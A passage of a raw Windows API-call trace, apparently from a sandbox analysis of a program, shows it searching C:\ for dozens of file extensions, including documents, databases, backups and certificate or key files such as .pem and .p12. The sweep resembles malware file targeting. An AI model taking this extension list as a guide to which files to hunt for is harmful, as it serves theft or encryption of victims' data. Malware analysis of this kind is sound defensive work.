returned 1 [0137.349] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.349] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.349] FindFirstFileW (in: lpFileName="C:\\*.ico", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.349] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.349] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.349] FindFirstFileW (in: lpFileName="C:\\*.htm", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.350] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.350] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.350] FindFirstFileW (in: lpFileName="C:\\*.ttf", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.350] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.350] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.350] FindFirstFileW (in: lpFileName="C:\\*.cs", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.351] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.351] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.351] FindFirstFileW (in: lpFileName="C:\\*.vb", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.351] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.351] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.351] FindFirstFileW (in: lpFileName="C:\\*.c", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.352] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.352] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.352] FindFirstFileW (in: lpFileName="C:\\*.py", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.352] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.352] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.352] FindFirstFileW (in: lpFileName="C:\\*.jar", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.353] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.353] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.353] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.353] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.353] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.353] FindFirstFileW (in: lpFileName="C:\\*.h", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.353] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.353] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.353] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.353] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.353] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.353] FindFirstFileW (in: lpFileName="C:\\*.plist", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.353] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.353] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.354] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.354] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.354] FindFirstFileW (in: lpFileName="C:\\*.backup", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.354] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.354] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.354] FindFirstFileW (in: lpFileName="C:\\*.aspx", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.355] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.355] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.355] FindFirstFileW (in: lpFileName="C:\\*.js", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.355] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.355] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.355] FindFirstFileW (in: lpFileName="C:\\*.crt", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.355] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.355] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.356] FindFirstFileW (in: lpFileName="C:\\*.csr", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.356] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.356] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.356] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.356] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.356] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.356] FindFirstFileW (in: lpFileName="C:\\*.p12", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.356] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.356] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.356] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.356] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.356] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.356] FindFirstFileW (in: lpFileName="C:\\*.pem", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.357] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.357] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.357] FindFirstFileW (in: lpFileName="C:\\*.odt", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.357] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.357] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.357] FindFirstFileW (in: lpFileName="C:\\*.sxw", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.358] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.358] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.358] FindFirstFileW (in: lpFileName="C:\\*.stw", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.358] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.358] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.358] FindFirstFileW (in: lpFileName="C:\\*.3ds", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.359] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.359] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.359] FindFirstFileW (in: lpFileName="C:\\*.max", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.359] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.359] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.359] FindFirstFileW (in: lpFileName="C:\\*.3dm", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.360] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.360] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.360] FindFirstFileW (in: lpFileName="C:\\*.ods", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.360] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.360] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.360] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.360] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.360] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.360] FindFirstFileW (in: lpFileName="C:\\*.sxc", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.360] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.360] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.360] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.360] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.360] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.361] FindFirstFileW (in: lpFileName="C:\\*.stc", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.361] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.361] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.361] FindFirstFileW (in: lpFileName="C:\\*.dif", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.361] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.361] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.361] FindFirstFileW (in: lpFileName="C:\\*.slk", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.362] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.362] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.362] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.362] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.362] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.362] FindFirstFileW (in: lpFileName="C:\\*.wb2", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.362] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.362] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.362] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.362] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.362] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.362] FindFirstFileW (in: lpFileName="C:\\*.odp", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.363] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.363] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.363] FindFirstFileW (in: lpFileName="C:\\*.sxd", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.363] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.363] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.364] FindFirstFileW (in: lpFileName="C:\\*.std", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.364] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.364] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.364] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.364] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.364] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.364] FindFirstFileW (in: lpFileName="C:\\*.sxm", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.364] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.364] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.364] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.364] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.364] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.364] FindFirstFileW (in: lpFileName="C:\\*.sqlite3", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.365] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.365] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.365] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.365] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.365] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.365] FindFirstFileW (in: lpFileName="C:\\*.sqlitedb", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.365] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.365] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.365] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.365] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.365] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.365] FindFirstFileW (in: lpFileName="C:\\*.sql", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.365] SetThreadErrorMode (dwNewMode=0x1, 